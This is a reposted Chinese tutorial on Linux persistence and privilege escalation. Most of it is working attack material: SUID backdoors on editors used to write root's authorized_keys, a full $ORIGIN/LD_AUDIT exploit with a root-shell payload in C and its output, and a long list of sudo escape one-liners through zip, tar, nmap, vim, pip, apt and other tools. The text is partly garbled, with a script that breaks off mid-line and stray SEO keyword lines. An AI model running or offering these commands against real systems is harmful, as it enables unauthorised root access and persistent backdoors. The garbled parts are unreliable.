加入收藏 | 设为首页 | 会员中心 | 我要投稿 520站长网 (https://www.520shu.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Linux > 正文

Linux权限维持与提权

发布时间:2022-10-27 17:01:40 所属栏目:Linux 来源:互联网
导读: Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。
当攻击者临时获得了root权限,而设置suid是权限

Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。

当攻击者临时获得了root权限,而设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,除此之外还有各种方式留后门。

SUID特殊权限提权

SUID的功用:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而程序文件自己的属主;

passwd设置了特殊权限,修改密码时允许修改shadow文件。

linux权限_linux nfs 权限不对_linux 权限 777

添加特殊权限命令:

Chmod u+s /usr/bin/vim

Chmod g+s /usr/bin/vim

当vim拥有特殊权限,可以查看shadow文件添加任务记录、添加用户、添加

/root/.ssh/authorized_keys

linux权限_linux nfs 权限不对_linux 权限 777

除了自己添加外,还可以在当前系统查找是否有特殊权限的程序。

查找SUID、SGID文件

#Find SUID

find / -perm-u=s -type f 2>/dev/null

#Find GUID

find / -perm-g=s -type f 2>/dev/null

利用/bin/ping特殊权限提权

在某次实战过程中,遇到过低版本的Centos5-6,可利用以下方式提权:

在/tmp下创建可控制的目录

$ mkdir /tmp/exploit

链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*

删除之前所创建的目录

$ rm -rf /tmp/exploit/

/proc链接仍存在linux权限,但已标记为已被删除

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)

使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=500(taviso)

bash脚本:

#!/bin/sh

unset LD_AUDIT

rm -r -f /tmp/exploit

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

ls -l /proc/$$/fd/3

rm -rf /tmp/exploit

ls -l /proc/$$/fd/3

cat > program.c 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。

其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。

/etc/sudoers或者使用visudo命令进行编辑。

文件语法:

root ALL=(ALL) ALL

root表示用户名

使用sudo -l查看当前权限。

find命令获取root权限

linux权限_linux 权限 777_linux nfs 权限不对

sudo find /home -exec /bin/bash \;

各类命令特殊权限利用方式

zip、tar、strace、nmap、more、git、ftp、vim、passwd

zip:

sudo zip/tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"

- -T 表示测试test.zip的完整性

- --unzip-command 与-T一起使用,可以指定自定义命令用于解压test.zip

tar:

sudo tar cf/dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

- --checkpoint-action选项是提权点,可以自定义需要执行的动作

strace:

sudostrace -o /dev/null /bin/bash

nmap:

低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。

echo "os.execute('/bin/bash')" > /tmp/shell.nse

sudo nmap --script=/tmp/shell.nse

more:

sudo more /etc/hosts

!/bin/bash

git:

sudo git help status

!/bin/bash

ftp:

sudo ftp

ftp> !/bin/bash

vim:

sudo vim -c'!bash'

perl、python、less、awk、man、vi

perl:

sudo perl -e'exec "/bin/bash";'

python:

sudo python -c'import pty;pty.spawn("/bin/bash")'

less:

sudo less /etc/hosts

v

:shell

awk:

sudo awk 'BEGIN{system("/bin/bash")}'

man:

sudo man man

!/bin/bash

vi:

sudo vi

:!bash

apt-get、apt、dpkg

sudo apt-getupdate -o APT::Update::Pre-Invoke::="/bin/bash -i"

sudo apt-get changelog apt

!/bin/bash

TF=$(mktemp)

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF

sudo apt-get install -c $TF sl

ed、sed、pip、taskset

ed:

sudo ed

!/bin/bash

sed:

sudo sed -n '1eexec bash 1>&0' /etc/passwd

pip:

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh$(tty) 2>$(tty)')" > $TF/setup.py

sudo pip install $TF

taskset:

sudo taskset 1/bin/sh –p

aria2c、arp、base64?cpan

aria2c:

sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'

COMMAND='id'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

./aria2c --on-download-error=$TF

arp:

LFILE=file_to_read

sudo arp -v -f "$LFILE"

base64:

LFILE=file_to_read

sudo base64 "$LFILE" | base64 --decode

cpan:

sudo cpan

! exec '/bin/bash'

......

Linux命令深度利用

- [Linux下PAM模块学习总结]

()

- [关于openssh通用后门的拓展]()

linux nfs 权限不对_linux 权限 777_linux权限

预览时标签不可点

(编辑:520站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!